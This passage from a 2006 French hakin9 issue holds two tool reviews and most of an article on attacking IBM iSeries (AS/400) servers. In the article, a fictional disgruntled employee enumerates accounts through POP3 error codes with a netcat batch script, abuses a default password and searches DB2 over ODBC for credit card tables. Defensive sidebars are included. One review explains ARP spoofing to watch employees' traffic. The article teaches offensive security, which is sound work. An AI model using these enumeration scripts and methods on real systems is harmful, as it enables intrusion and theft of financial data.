fonctionne correctement. Pour ce faire, vous allez créer une nouvelle règle et sélectionner Generic Secure Shell (SSH) Check (Contrôle générique du shell sécurisé (SSH)). Comme vous pouvez le constater, le logiciel GFI a déjà créé quelques scripts. Sélectionnez le script de contrôle Apache, puis indiquez le serveur et l'adresse IP. Afin de contrôler le bon fonctionnement de votre serveur FTP, définissez une règle selon laquelle une connexion

12

hakin9 Nº 2/2006

complète à votre serveur FTP sera réalisée. Répétez la même opération, mais sélectionnez cette fois FTP dans la liste des règles, puis activez l'option intitulée Use FTP site authentication (Utiliser l'authentification du site FTP). N'oubliez pas d'indiquer la manière dont le système de surveillance de serveurs réseau est censé réaliser la connexion. Paramétrez ensuite quelques règles pour votre machine Windows Server 2003. Créez un nouveau dossier contenant les mêmes options que celles de votre système SUSE puis modifiez l'adresse IP, le nom de l'hôte dans Logon credentials pour votre serveur Windows. Appelez ce nouveau dossier, dossier Windows, puis créez une nouvelle règle intitulée CPU Usage (Utilisation de l'unité centrale). Réglez l'utilisation maximale de l'unité centrale sur 100%. Sous un message d'erreur standard, vous pourrez obliger le système de surveillance réseau à redémarrer le serveur Win 2003 si ce dernier utilise l'unité centrale à 100%. Pour ce faire, vous devez activer l'option intitulée Reboot the following computer (Redémarrer l'ordinateur suivant) dans la rubrique des réglages Actions -> Reboot Computer/Restart Services (Actions -> Redémarrer l'ordinateur/Redémarrer les services). Vous devez désormais vérifier le bon fonctionnement de vos règles. Pour ce faire, sélectionnez Monitoring Checks Status (Statut des contrôles de surveillance) dans l'explorateur de l'outil. Il est préférable de savoir que les mêmes informations sont également disponibles via le navigateur Web, http://yourserver.com/: 11695. Si les services démarrent sans aucun problème, le statut Succeeded (Réalisé avec succès) apparaît devant les règles. Dans le cas contraire, vous verrez s'afficher le statut Failed (Echec). Si le second statut s'affiche, l'outil GFI Network Monitor vous enverra une message électronique ou peut éventuellement redémarrer le système. Autres qualités : vous aurez sans doute constaté qu'il est possible d'inspecter presque indéfiniment tous les éléments de votre choix, et que votre serveur bénéficie d'une grande amplitude pour régler un éventuel problème. Par ailleurs, vous serez certainement intéressé de savoir qu'il est également possible d'effectuer des recherches DNS, et de formuler des requêtes de type Whois et utilitaire de routage traceroute. Si une machine compatible avec le protocole SNMP fonctionne sur votre réseau, l'outil propose également des fonctions SNMP Audit ainsi que SNMP Walk. Stefan Lochbihler

www.hakin9.org

SwitchSniffer Système : Windows NT4/2000/XP/2003 Licence : Freeware Application : Surveillance des réseaux LAN Site : http://www.nextsecurity.net SwitchSniffer est un outil simple d'emploi et gratuit servant à surveiller les réseaux locaux, doté des mécanismes de base permettant la détection et l'administration des abus.

Démarrage rapide : Depuis peu, nous sommes administrateur d'un réseau dans une petite société commerciale. Le chef nous a demandé de détecter quels employés, au lieu de se consacrer à leurs travaux, utilisent la messagerie instantanée et les applications peer-to-peer. Vu que notre poste de travail est basé sur le système Windows, le réseau dans la société est basé sur les commutateurs, et notre patron n'a pas acheté aucun outil pour les tests de pénétration, nous nous décidons à utiliser l'application gratuite SwitchSniffer destinée au sniffing dans les réseaux commutés. Pour lancer le programme, il faut avoir les droits d'administration, sinon, l'application peut être instable. Après un premier lancement, une fenêtre d'options est affichée. Dans l'onglet Network, nous choisissons l'interface réseau sur lequel nous voulons écouter. Il est conseillé d'aller à l'onglet Spoof et mettre Spoofing Types à <-> Gateway. Dans certains réseaux, cette option sera nécessaire pour que le sniffeur fonctionne correctement. Nous commençons par un scanage du réseau local (bouton Scan). Le programme l'effectue très rapidement et détecte tous les hôtes actifs dans notre segment du réseau. Ceux-ci sont affichés sur la liste Local Hosts Info et dans l'arborescence Up Hosts. Il faut développer cette arborescence et sélectionner dans le menu contextuel (bouton droit de la souris) l'option Select All pour que l'analyse embrasse tous les hôtes actifs. Après quelques instants, nous cliquons sur le bouton Start – le programme commencera à intercepter les données du réseau. L'onglet Local Hosts Info affichera les informations sur les ordinateurs dans le réseau local. SwitchSniffer informe sur : le système d'exploitation, le nom de l'ordinateur, l'adresse IP, l'adresse MAC et le fabricant de la carte réseau. Il affiche aussi les tailles des paquets chargés du réseau et la vitesse avec laquelle ils sont chargés et envyés. À l'aide de SwitchSniffer, nous pouvons aussi surveiller l'utilisation du réseau par chaque employé, ce qui peut nous fournir des informations sur ceux qui s'amusent au lieu de travailler. L'onglet Remote Hosts Info affiche les informations sur les hôtes distants. Par contre, l'onglet Sessions Info informe sur les sessions établies à un moment donné. Les onglets dans la fenêtre gauche contiennent respectivement : l'arborescence des

www.hakin9.org

hôtes locaux (Local), l'arborescence des hôtes distants (Remote) et l'arborescence des services (Services). Pour exécuter notre tâche, il suffit de passer dans la fenêtre gauche du programme sur l'onglet Services. Cette liste contient les services (ports types pour les messageries instantanées, p.ex. gg(8074), jabberclient(5223)) ; après le développement de l'arborescence d'un service, nous pouvoir voir les hôtes distants avec lesquels communiquent les utilisateurs, par contre, après le développement de l'arborescence à côté de l'adresse de l'hôte distant, nous pouvons voir les hôtes locaux – c'est-à-dire les coupables cherchés par le chef. Autres qualités : Le programme permet de bloquer les sessions et les connexions voulues (à l'aide des options disponibles dans le menu contextuel). Il permet donc non seulement d'analyser, mais aussi d'administrer les services admissibles dans le réseau (sur l'onglet Definitions, nous pouvons déterminer quels services sont permis, quelles adresses MAC peuvent profiter de notre réseau et consulter les règles du filtrage du trafic). Il permet aussi de détecter l'ARP Spoofing (l'onglet Detect and Alert dans les options du programme). Défauts : Le programme est moins développé que par exemple dsniff ou Ettercap. De plus, il peut être instable (pour l'instant, seule la version bêta est disponible). Pourtant, l'outil est plus simple d'emploi, surtout pour un administrateur débutant, que d'autres programmes de ce type. Paweł Charnas

Figure 1. SwitchSniffer en action

hakin9 Nº 2/2006

13

Pirater un serveur iSeries d'IBM Dossier Shalom Carmel

Degré de difficulté

Les serveurs iSeries, en d'autres termes AS/400, sont utilisés dans des secteurs aussi divers que le secteur manufacturier, les banques, les sociétés d'assurances, les casinos ou les administrations. Il y a des chances que là où une application reposant sur iSeries est employée, elle traite des données comptables ou financières. Avec plus de 300 000 clients de par le monde et des millions d'utilisateurs, il doit bien y avoir çà et là quelque individu malveillant à la recherche d'un moyen de les exploiter à ses propres fins.

L

es serveurs iSeries (ou AS/400) appartiennent à la gamme des serveurs midrange d'IBM. Ils sont utilisés pour des applications de traitement des données et OLTP multi-tâches et multi-utilisateurs. Les serveurs iSeries intègrent une base de données DB2. Ils peuvent être utilisés pour l'exécution d'applications patrimoniales (pour la plupart programmées en COBOL ou en RPG) ou plus récentes (C, C++ et Java). Deux langages de script spécifiques au monde IBM et disponibles sur cette plate-forme sont CLP et REXX. Autrefois, pour pouvoir travailler sur un serveur AS/400, il fallait disposer d'un terminal spécifique relié par un câble twinax. Aujourd'hui, la manière la plus simple de se connecter à un iSeries est d'utiliser un client telnet comme émulateur de terminal. Les terminaux twinax sont rarement utilisés sauf comme console du système. Outre telnet, un iSeries intègre aujourd'hui un ensemble de serveurs TCP/IP, notamment FTP, TFTP, SMTP, POP3, DNS, LDAP, DHCP, CIFS ainsi qu'ODBC et d'autres protocoles propriétaires. Les machines iSeries peuvent aussi être utilisées comme serveurs d'applications avec Tomcat, WebSphere, Apache ou Domino.

14

hakin9 Nº 2/2006

Des serveurs d'occasion peuvent être trouvés sur eBay à un prix compris entre 4 000 et 5 000 dollars US.

Cet article explique... • • • • • •

comment recenser les mots de passe par défaut et les utilisateurs d'un système iSeries ; comment contourner certaines restrictions utilisateur ; comment exécuter une commande à distance sur un iSeries ; comment écrire du code source iSeries sans un éditeur ; comment piéger un écran de connexion ; comment interroger le catalogue de la base de données.

Ce qu'il faut savoir... • • • •

www.hakin9.org

utilisation du système d'exploitation Windows ; notions élémentaires de gestion de base de données ; notions élémentaires des protocoles d'application sous TCP/IP ; compréhension élémentaire de la programmation.

Pirater un serveur iSeries d'IBM

Clients iSeries

Les clients supportant les sessions telnet 5250 sont ceux qui offrent une fonctionnalité et une gestion utilisateur optimales. Il existe des émulateurs, commerciaux ou non, spécifiquement conçus pour l'iSeries. Pointons entre autres : •

•

•

Client Access pour iSeries d'IBM – outre une émulation de terminal qui requiert une licence, CA400 inclut toute une panoplie d'outils et d'utilitaires tels que des pilotes ODBC, des interfaces graphiques (GUI) pour l'administration du système, des outils de transfert de fichiers, etc. Si vous avez accès à un iSeries, vous y trouverez une version Windows de CA400 dans le dossier /QIBM/ProdData/CA400/ Express/Install/Image. Dans de nombreux cas, le service CIFS NetShare de Windows est actif ; par défaut, ce service contient un partage nommé QCA400 mappé sur le dossier CA400. L'adresse de la page d'accueil de CA400 est http: //www-03.ibm.com/servers/eserver/ iseries/access/. tn5250j est un client tn5250 open source basé sur Java, disponible à l'adresse http:// tn5250j.sourceforge.net/. Les produits de Mochasoft sont des produits commerciaux mais, s'agissant de partagiciels, leur coût est très raisonnable et ils peuvent être évalués avant tout achat – http:// www.mochasoft.dk.

Problèmes de sécurité de l'iSeries

Que l'on utilise une base de données Oracle ou Microsoft SQL, voire DB2 sous *NIX ou Windows, la liste des utilisateurs qui peuvent se connecter au serveur diffère de celle des utilisateurs qui peuvent se connecter à la base de données. Sur notre plate-forme, il n'y a pas de séparation entre les différents types d'utilisateurs. La combinaison de l'identifiant utilisateur et du mot de passe utilisée pour se connecter au système via telnet peut aussi être utilisée pour une connexion via FTP, ODBC ou toute autre ressource requérant

Figure 1. Écran de connexion telnet à l'iSeries une authentification de l'utilisateur. La différence se fait au niveau des droits (authority) conférés à l'utilisateur sur les objets iSeries : commandes, programmes, fichiers et bibliothèques (il existe d'autres objets moins communs qui ne nous intéressent pas ici). Ces droits sont gérés dans le cadre du modèle ACL (Access Control List) et sont octroyés à un utilisateur, à un groupe ou à un rôle. Pour de nombreux services TCP/IP, IBM a fourni les API ou hooks programmables du processus d'authentification et d'autorisation. Si vous voulez autoriser l'utilisateur X à se connecter via telnet à une application OLTP interactive tout en bloquant l'utilisation du FTP par le même utilisateur, vous devez soit écrire un programme spécifique soit acheter les outils nécessaires auprès d'un fournisseur tiers. IBM avait pour habitude de livrer des serveurs iSeries dont la plupart des services TCP/IP étaient activés et opérationnels par défaut. Or il y a plus de chance que l'administrateur d'un iSeries soit un programmeur COBOL qu'un administrateur système sachant différencier pop3 de ftp. Et il arrive souvent qu'on laisse tourner ces services en tâche de fond même quand rien ne le justifie. Il arrive aussi trop souvent que le modèle de sécurité d'une application OLTP se limite à confiner les utilisateurs à un ensemble d'écrans et de menus et n'accorde pas l'attention requise à la sécurité ACL. Ce modèle de sécurité, conjugué à l'absence d'une gestion globale de la sécurité

www.hakin9.org

des services TCP/IP, ouvre la grand porte aux catastrophes.

Contexte du scénario

La société Trupex fabrique et commercialise des accessoires pour cercueils. Certaines de ses applications informatiques, dont la gestion des commandes et des créances commerciales, se trouvent sur un serveur IBM iSeries dernier cri. Cette plate-forme a été choisie en raison de sa disponibilité, de sa stabilité et de sa sécurité, comme le responsable des systèmes informatiques a pu en faire l'expérience durant ses quinze ans de carrière. De son côté, Jules Krupp était représentant pour un service de support informatique dans une autre société, mais sa curiosité excessive,allant jusqu'à l'indiscrétion, a été à la source d'incessants conflits avec ses supérieurs et a fini par lui coûter sa place. Il a postulé pour un poste similaire chez Trupex mais quand le poste qui lui a finalement été proposé était celui de technicien au support clientèle, il a accepté. Aujourd'hui, son job ne le satisfait plus. Il a le sentiment d'avoir été injustement écarté d'une promotion. Il pense mériter quelque dédommagement de son employeur et, après quelques recherches internes, il décide de jouer son va-tout et de récupérer les données de cartes de crédit conservées dans la base de données DB2 de l'iSeries. Balthazar Ogus est le BOFH(1) chargé d'assurer le bon fonctionnement des serveurs iSeries, Windows

hakin9 Nº 2/2006

15

Dossier

Tableau 1. Paramètres de ldapsearch pour la collecte de comptes Active Directory Paramètre

Signification

-h

Nom du serveur AD

-p

Numéro de port. Dans notre cas, on utilise le port 3268, port du service de catalogue global d'AD, et non le port 389, le port LDAP standard, car le catalogue global offre une vue complète de tous des domaines locaux.

-l

Délai de temporisation en secondes. Une requête LDAP sur de gros volume de données peut requérir bien davantage que les 15 secondes par défaut.

-D

-w

(facultatif)

(facultatif)

Nom absolu (Distinguished Name) de l'utilisateur qui émet la requête. Ce paramètre est nécessaire si le serveur LDAP est configuré pour refuser les requêtes anonymes. Dans ce cas, la valeur du paramètre -D ressemblera à ceci : cn=Jules Krupp, OU=CS,DC=UK,DC=Trupex

Recensement des utilisateurs Jules a un poste de travail installé à partir d'une image standard, qui comprend iSeries Client Access avec une émulation pour l'iSeries (voir l'encadré Clients iSeries). Mal-

heureusement, il ne dispose pas de compte utilisateur sur le serveur. Il entreprend de découvrir les utilisateurs définis sur le serveur iSeries afin d'utiliser leur compte pour commettre son exploit. Il part de l'hypothèse que certains comptes utilisateurs de l'iSeries sont peutêtre similaires à ceux de l'annuaire Active Directory (AD) de la société. Vu qu'il est employé, Jules dispose évidemment d'un compte valide sur le serveur AD de Trupex. Il installe un client LDAP (voir l'encadré Clients LDAP) et, après une heure d'effort, parvient à récupérer la liste des utilisateurs sur son ordinateur. Comme Jules se souvient que la session telnet affiche des messages d'information sur le statut du profil utilisateur, il décide de tester l'écran de connexion de l'iSeries avec les comptes collectés sur le serveur AD. Empruntant le chemin le plus direct, il tente de se connecter en utilisant un mot de passe identique au nom d'utilisateur. Lors des deux premières tentatives, il reçoit les messages suivants :

Figure 2. Tentative de connexion FTP

16

hakin9 Nº 2/2006

Il existe un grand nombre d'outils libres LDAP. Deux méritent d'être cités : LdapBrowser de Softerra et l'outil en ligne de commande ldapsearch, disponible dans le SDK gratuit du serveur d'annuaire SunONE. La syntaxe d'une commande ldapsearch est la suivante : $ ldapsearch –h adserver –p 3268 –l 3600 \

"(&(cn=*)(objectclass=user))"

cn samaccountname > users.txt

Les paramètres de la commande ldapsearch sont expliqués dans le Tableau 1.

CPF1120 – User AABBA does not exist.

Mot de passe du compte fourni avec -D

et de courrier électronique. C'est son prédécesseur qui a mis la configuration actuelle en place il y a quelques années et Ogus se satisfait de quelques connexions quotidiennes à l'iSeries pour contrôler l'état du système. Il se connecte aussi quand des incidents tels que des tâches bloquées ou des comptes d'utilisateurs verrouillés se produisent. Il est bien trop pris par d'autres responsabilités plus prioritaires. (1) BOFH : Bastard Operator From Hell. (...) administrateur système particulièrement méchant envers ses utilisateurs (il dit tout haut ce que les admins pensent généralement tout bas...) (source : Le Jargon Français, Roland Trique, www.linuxfrance.org/prj/jargonf/)

Clients LDAP

www.hakin9.org

CPF1120 – User AANGEL does not exist.

Le message qu'il reçoit à la troisième tentative, pour l'utilisateur AAPCZI, est : CPF1107 – Password not correct for user profile.

§

Jules dispose désormais d'un nom d'utilisateur valide sur le serveur. Il réessaie avec l'utilisateur AAPFEL et le message qu'il reçoit cette foisci est : CPF1116 Next not valid sign-on attempt varies off device.

§

Il se rend compte que, même si sa session telnet interactive lui fournit des messages d'information, il risque d'attirer l'attention de l'administrateur de l'iSeries vu que chaque fois qu'un périphérique est désactivé (varied off), un message est envoyé à l'administrateur

Renifler les mots de passe iSeries

Les connexions iSeries classiques ne sont pas chiffrées sur le réseau. C'est vrai pour telnet, FTP, ODBC, POP3 et quasiment toute autre connexion. La plateforme supporte telnet sécurisé, FTP sécurisé (SFTP) et SSH mais on peut douter que les modes sécurisés soient utilisés à grande échelle dans le monde iSeries.

Pirater un serveur iSeries d'IBM

www.hakin9.org

hakin9 Nº 2/2006

17

Dossier

Listing 1. Script de recensement manuel pour POP3 < > < > < > < > < > < > <

+OK POP3 server ready USER AANGEL +OK POP3 server ready PASS AANGEL -ERR Logon attempt invalid CPF2204 USER AAPCZI +OK POP3 server ready PASS AAPCZI -ERR Logon attempt invalid CPF22E2 USER QSYSOPR +OK POP3 server ready PASS QSYSOPR -ERR Logon attempt invalid CPF22E3

Tableau 2. Codes d'erreur retournés par POP3 Code d'erreur renvoyé

Signification

CPF2204

Profil d'utilisateur introuvable

CPF22E2

Mot de passe incorrect pour le profil utilisateur

CPF22E3

Profil d'utilisateur désactivé

CPF22E4

Mot de passe du profil utilisateur expiré

CPF22E5

Aucun mot de passe associé au profil d'utilisateur

Tableau 3. Comparatif du recensement des utilisateurs par protocole Propriété

Telnet 5250

FTP

POP3

Indication de l'existence d'un utilisateur

Oui

—

Oui

Indication de mot de passe incorrect

Oui

—

Oui

Indication de réussite de la connexion

Oui

Oui

Oui

Indication d'un problème avec l'utilisateur en cas de mot de passe correct

Oui

—

Oui

Désactivation du profil de l'utilisateur

Oui

Oui

Oui

Contournement de la politique de désactivation du terminal

—

Oui

Oui

Pas de surveillance par API de sécurité

—

—

Oui

Listing 2. Script de recensement automatique pour POP3 echo off setlocal set AS400Host=as400.trupex.com set POP3=110 set UsersFile=pop3_as400_users.txt set ScanResults=nc_pop3_scan.txt set TempFile=}pop3{.txt for /F %%U in (%UsersFile%) do ( echo user %%U > %TempFile% echo pass %%U>>%TempFile% echo quit>>%TempFile% echo ======= %%U =========>>%ScanResults% type %TempFile% | nc -i 1 -w 1 %AS400Host% %POP3%>>%ScanResults% ) endlocal del %TempFile%

18

hakin9 Nº 2/2006

www.hakin9.org

système. Il pourrait créer une situation partielle de déni de service en épuisant l'espace du périphérique virtuel mais ce n'est pas son intention. Jules décide de chercher une autre approche. Il souhaite à présent trouver une manière moins visible d'accéder illicitement au système. Il commence par explorer le serveur avec Nmap et découvre que de nombreux ports sont ouverts, dont les ports 21 et 110, les ports standards de FTP et POP3. Jules vérifie si ces ports sont réellement utilisés. Sur un serveur iSeries, les comptes utilisateurs sont conçus de telle manière qu'un utilisateur FTP équivaut à un utilisateur interactif standard. Une connexion non valide via d'autres services que telnet ne désactive pas les périphériques iSeries et, par conséquent, est bien moins susceptible d'attirer l'attention. Jules teste d'abord FTP (voir la Figure 2). Le problème avec FTP est que Jules ignore si c'est le mot de passe d'A ARCHER qui est incorrect ou si c'est AARCHER qui n'est pas un compte valide. Vu qu'on le retrouve partout, FTP est notoirement connu pour être le service le plus prisé pour la pose de pièges de sécurité. Jules décide donc d'exploiter FTP en dernier recours et se tourne vers POP3. Il adresse une requête telnet sur le port 110 et découvre, non sans surprise, qu'un serveur POP3 tourne sur le serveur iSeries. Jules interroge Google pour obtenir des informations sur POP3 et iSeries et apprend ainsi que, comme

Comparatif du recensement des utilisateurs pour telnet, ftp et pop3

S'il est disponible, le protocole POP3 est le plus indiqué pour un recensement des utilisateurs. Outre qu'il fournit bon nombre d'informations, il ne laisse virtuellement aucune trace sauf quand la fonction d'audit de la sécurité système est activée. Même quand cette fonction est active, les entrées journalisées pour les échecs d'authentification ne sont pas suffisamment détaillées pour permettre de tracer l'attaque. Voyez le tableau 3 pour plus de détails.

Pirater un serveur iSeries d'IBM

Listing 3. Extrait des résultats du script de recensement POP3 ======= mwhite ========= +OK POP3 server ready +OK POP3 server ready -ERR Logon attempt invalid CPF2204 ======= nanaftp ========= +OK POP3 server ready +OK POP3 server ready +OK start sending message ======= napfel ========= +OK POP3 server ready +OK POP3 server ready -ERR Logon attempt invalid CPF22E2 +OK server quitting ======= nawat ========= +OK POP3 server ready +OK POP3 server ready -ERR Logon attempt invalid CPF22E3

telnet, POP3 sur l'iSeries fournit des messages d'erreur informatifs. Il découvre aussi qu'il n'y a pas d'API de sécurité associée à POP3 et qu'il court, du coup, moins de risques d'être repéré.

Il teste alors quelques utilisateurs manuellement (voir le Listing 1). La signification des codes reçus (et de quelques autres) est fournie dans le Tableau 2 (Codes d’erreur retournés par POP3).

Mesures de protection contre le recensement des utilisateurs Portons au crédit de Balthazar, l'admin système, le fait que les valeurs système responsables de la désactivation des terminaux en cas de tentatives infructueuses de connexion sont correctement définies. La valeur système QMAXSIGN définit le nombre de tentatives de connexion infructueuses autorisées tandis que la valeur système QMAXSGNACN spécifie l'action à entreprendre en cas de dépassement du nombre maximum de tentatives infructueuses. Jules a reçu un message lui indiquant que la prochaine tentative de connexion infructueuse désactiverait le périphérique. Reste à savoir si Balthazar lit les alertes générées par les connexions interactives infructueuses, ce qu'il ne fait probablement pas. Ces alertes ne sont pas créées dans la queue des messages System Operators, souvent capturée par des outils d'alerte sur l'iSeries, mais dans le journal System, dont la lecture est habituellement manuelle. Balthazar a aussi omis de prendre quelques précautions susceptibles de réduire le danger des recensements d'utilisateurs. Il aurait pu remplacer le texte des messages d'information envoyés après des tentatives infructueuses de connexion telnet par un texte standard, sans autres indications. Il a laissé des services inutiles comme POP3 tourner sur le système. Un service qui n'est pas utilisé doit être désactivé. Si vous travaillez dans un des rares endroits où l'iSeries est utilisé pour le courrier électronique entrant, soyez conscient des risques que cela pose. Balthazar n'a vérifié ni régulièrement ni occasionnellement l'existence de mots de passe par défaut alors qu'un utilitaire intégré et convivial permet de le faire – la commande ANZDFTPWD. Last but not least, Balthazar n'a pas activé la fonction d'audit de la sécurité qui permet de consigner toutes les tentatives infructueuses de connexion, y compris celles pour POP3. L'audit de la sécurité est également le seul moyen de capturer les échecs d'accès aux ressources de l'iSeries causés par des restrictions d'accès. Ces défauts de gestion et d'administration coûtent chers à Trupex. Nous pouvons aussi constater qu'il existe un compromis entre une gestion rationnelle de l'informatique et la sécurité. Une politique d'entreprise qui définit des noms d'utilisateur standards rend ces noms devinables sur tous les systèmes. Utiliser des images disque pour les postes de travail utilisateurs permet certes de gagner un temps précieux mais peut aussi se solder par la disponibilité de fonctionnalités inutiles.

www.hakin9.org

Jules s'attaque à l'écriture d'un petit script sous la forme d'un fichier batch Windows (voir le Listing 2) afin de tester la liste d'utilisateurs collectée dans l'annuaire Active Directory. Il choisit l'outil netcat pour ce faire. Le fichier pop3_as400_users.txt contient la liste des utilisateurs tandis que les résultats sont écrits dans le fichier nc_pop3_scan.txt. L'exécutable netcat doit se trouver dans le chemin d'exécution. Jules laisse tourner son poste, éteint le moniteur et rentre chez lui pour un repos bien mérité. Le lendemain matin, le script a terminé son travail et a enregistré les résultats dans le fichier nc_pop3_scan.txt (voir le Listing 3). Jules parcourt le fichier à la recherche de quatre types d'utilisateurs : CPF22E2 indique que le profil utilisateur est valide mais que le mot de passe n'est pas connu. CPF22E4 signifie que l'utilisateur ne peut se connecter pour l'instant et c'est peut-être l'occasion de mener une petite action d'ingénierie sociale auprès du service d'assistance informatique. CPF22E3 et +OK start sending message indiquent que l'utilisateur a un mot de passe par défaut. Jules constate qu'il y a 45 utilisateurs, pour la plupart actifs mais au mot de passe inconnu. Toutefois, il sait qu'il détient une pépite avec l'utilisateur NANAFTP (voir le listing 3). Le mot de passe de cet utilisateur est identique à son nom.

Dresser un inventaire

Jules a maintenant accès au serveur iSeries mais il n'en est encore qu'au début de sa quête. Il doit à présent découvrir où se trouvent les précieuses données qu'il convoite et contourner pour cela toute restriction d'accès à ces données. Active Directory liste NANAFTP comme FTP finance. Jules comprend que cet utilisateur est utilisé pour le transfert de fichiers entre différents systèmes et qu'il ne doit probablement avoir qu'un accès très restreint aux ressources de l'iSeries. Jules essaie malgré tout de se connecter à une session telnet interactive en utilisant NANAFTP comme

hakin9 Nº 2/2006

19

Dossier

pas accès aux outils natifs de l'iSeries, il décide d'utiliser ODBC pour son exploration du serveur.

Quand ODBC vient à la rescousse

Figure 3. Déconnexion automatique

Figure 4. Affichage de l'Operational Assistant de l'OS/400 avec la touche ATTN nom d'utilisateur et comme mot de passe. Sans surprise, il voit s'afficher l'écran présenté à la Figure 3 immédiatement après s'être connecté. Jules essaie une astuce permettant de contourner une déconnexion automatique forcée. La touche ATTN, affectée à la touche Esc sur un clavier pour PC, fournit par défaut une aide opérationnelle à l'utilisateur d'une session interactive AS/400, sous la forme d'un menu avec des liens vers les tâches standards exécutables par un utilisateur et vers des informations supplémentaires sur le système.

L'écran de déconnexion automatique est affiché alors que la session est encore active, si bien que la touche ATTN est également active. Si NANAFTP était défini comme un utilisateur sans restrictions, Jules aurait pu disposer d'un accès interactif, qui, sur l'iSeries, est l'équivalent d'un shell *NIX. Il s'avère que NANAFTP a un compte restreint et qu'il ne peut être utilisé pour un accès interactif. Vu que le gros du travail restant à exécuter concerne essentiellement la base de données de l'iSeries et que Jules n'a toujours

Après avoir configuré correctement son poste de travail pour la connectivité ODBC au serveur iSeries, Jules lance une session de reconnaissance pour évaluer l'inventaire des données. Il commence par interroger le catalogue de DB2 en vue de repérer à quel endroit pourraient se trouver les données des cartes de crédit. Le catalogue de DB2 est constitué d'un ensemble de tables et de vues contenant des informations sur les schémas, tables, colonnes, vues, contraintes, fonctions et procédures stockées de la base de données. Le catalogue contient des entrées y compris pour les objets de base de données créés au moyen des méthodes traditionnelles, non SQL, de l'AS/400. Jules s'attaque d'abord aux noms de tables dont la description comporte les chaînes credit, card ou cc et qui ne se trouvent pas dans les bibliothèques système (qui commencent par la lettre Q). Il filtre en outre les index, les vues et les alias pour ne conserver que les tables réelles , nommées Physical Files en jargon iSeries : select system_table_name, system_table_schema, file_type, table_text, column_count from qsys2.systables where system_table_schema not like 'Q%' and ( lower(table_text) like '%credit%' or lower(table_text) like '%card%' or lower(table_text) like '%cc%' ) and table_type != 'L';

Tableau 4. ACL pour le fichier des cartes de crédit

20

UTILISATEUR

DROITS SUR L'OBJET

OBJET

BIBLIOTHÈQUE

TYPE

PROPRIÉTAIRE

SSA42

*ALL

APLIBF

QSYS

*LIB

SSA42

BOGUS

*CHANGE

APLIBF

QSYS

*LIB

SSA42

QSECOFR

*ALL

APLIBF

QSYS

*LIB

SSA42

*PUBLIC

*EXCLUDE

APLIBF

QSYS

*LIB

SSA42

hakin9 Nº 2/2006

www.hakin9.org

Pirater un serveur iSeries d'IBM

www.hakin9.org

hakin9 Nº 2/2006

21

Dossier

ODBC et JDBC pour iSeries

On peut obtenir un pilote ODBC pour la base de données DB2 de l'iSeries auprès de nombreuses sources. En voici quelquesunes : •

•

le produit Client Access contient un pilote ODBC. Vous pouvez trouver Client Access dans le dossier /QIBM/ProdData/ CA400/Express/Install/Image d'un serveur iSeries. Dans de nombreux cas, le service CIFS NetShare de Windows est actif ; par défaut, ce service contient un partage nommé QCA400 mappé sur le dossier CA400. Microsoft fournit un pilote ODBC pour l'iSeries avec son produit Host Integration Server.

Récemment, Microsoft a sorti un pilote OLE DB (pour les utilisateurs de MS SQL) pour l'iSeries, disponible gratuitement à l'adresse suivante : http://www.microsoft.com/downloads/detai

ls.aspx?familyid=D09C1D60-A13C-4479-9B91-9E8B9D835CDC &displaylang=en. • •

ODBC est également disponible pour Linux à l'adresse http:// www-03.ibm.com/servers/eserver/iseries/access/linux. Vous pouvez aussi utiliser JDBC pour la connectivité à la base de données. Vous pouvez récupérer des pilotes JDBC pour IBM dans le fichier jt400.jar, lequel se trouve fort opportunément dans le dossier /QIBM/ProdData/HTTP/Public/ jt400/lib/. Si vous préférez une solution open source, visitez le projet JTOpen, parrainé par IBM, à l'adresse http://www03.ibm.com/servers/eserver/iseries/toolbox/downloads.html

Les Figures 5 à 15 montrent comment configurer le pilote ODBC iSeries d'IBM et comment l'utiliser avec MS Query, un outil proposé dans toute installation Microsoft Office.

Figure 7. Choix d'une source de données

Figure 5. Création d'un nom de source de données (DSN) pour DB2 d'iSeries – le seul champ obligatoire dans la définition d'un nouveau DSN est l'IP ou le nom du serveur ; conservez les valeurs par défaut pour les autres options

Figure 8. Saisie du nom et mot de passe à utiliser

Figure 9. Ignorez la manipulation intelligente de la base de données – nous avons simplement besoin de pouvoir taper directement des instructions SQL

Figure 6. Lancement de MS Query à partir d'Excel – Il est possible de lancer MS Query de manière autonome, en exécutant MSQRY32.EXE dans le dossier Office, mais le lancer à partir d'Excel permet de stocker facilement les résultats à un emplacement permanent

22

hakin9 Nº 2/2006

www.hakin9.org

Pour disposer d'indices supplémentaires, Jules interroge aussi les descriptions de colonnes :

Pirater un serveur iSeries d'IBM

Figure 12. Insertion dans la base de données à partir de MS Query

Figure 10. Cliquer sur le bouton SQL – Il s'agit du code SQL exécuté par Jules

Figure 13. Avertissement durant l'insertion dans la base de données – Ignorez-le

Figure 14. Message confirmant l'insertion – Vous pouvez aussi exécuter des programmes et des procédures stockées de la même manière (le message de confirmation peut être légèrement différent)

Figure 15. Exécution réussie d'une procédure stockée ou d'un programme select system_table_schema, system_table_name,

Figure 11. Résultats de la requête sur le catalogue

system_column_name, column_text, data_type, length, numeric_scale,

Mesures de protection contre la consultation du contenu du système Balthazar a correctement défini l'utilisateur NANAFTP. Il l'a défini de manière à ce qu'il ne possède que des capacités limitées et à lui appliquer la procédure de déconnexion automatique. Notons qu'il aurait été préférable de définir un programme de connexion initial pour l'exécution de la commande SIGNOFF. Mais il n'a pas sécurisé correctement ODBC et n'en a pas limité l'utilisation aux seuls utilisateurs qui en ont besoin, sachant en particulier qu'un utilisateur distant peut exécuter, via ODBC, des commandes normalement bloquées pour les utilisateurs limités lors de sessions interactives. Malheureusement, le seul moyen d'assurer un tel niveau de sécurité requiert l'achat d'outils de sécurité de fournisseurs tiers. Un autre point que Balthazar pourrait améliorer est la gestion des listes de contrôle d'accès pour les bibliothèques QGPL et APLIBF. D'une part, la valeur par défaut (lecture/écriture) des droits publics sur QGPL devrait être modifiée et, d'autre part, il n'y a pas de raison que BOGUS ait des droits privés sur APLIBF.

www.hakin9.org

numeric_precision from qsys2.syscolumns where system_table_schema not like 'Q%' and (lower(column_text) like '%credit%' or lower(column_text) like '%card%' or lower(column_text) like '%cc%' ) ;

Il croise les deux listes et découvre que la table XACC de la bibliothèque APLIBF pourrait bien être un emplacement de choix pour le stockage des données des cartes

hakin9 Nº 2/2006

23

Dossier

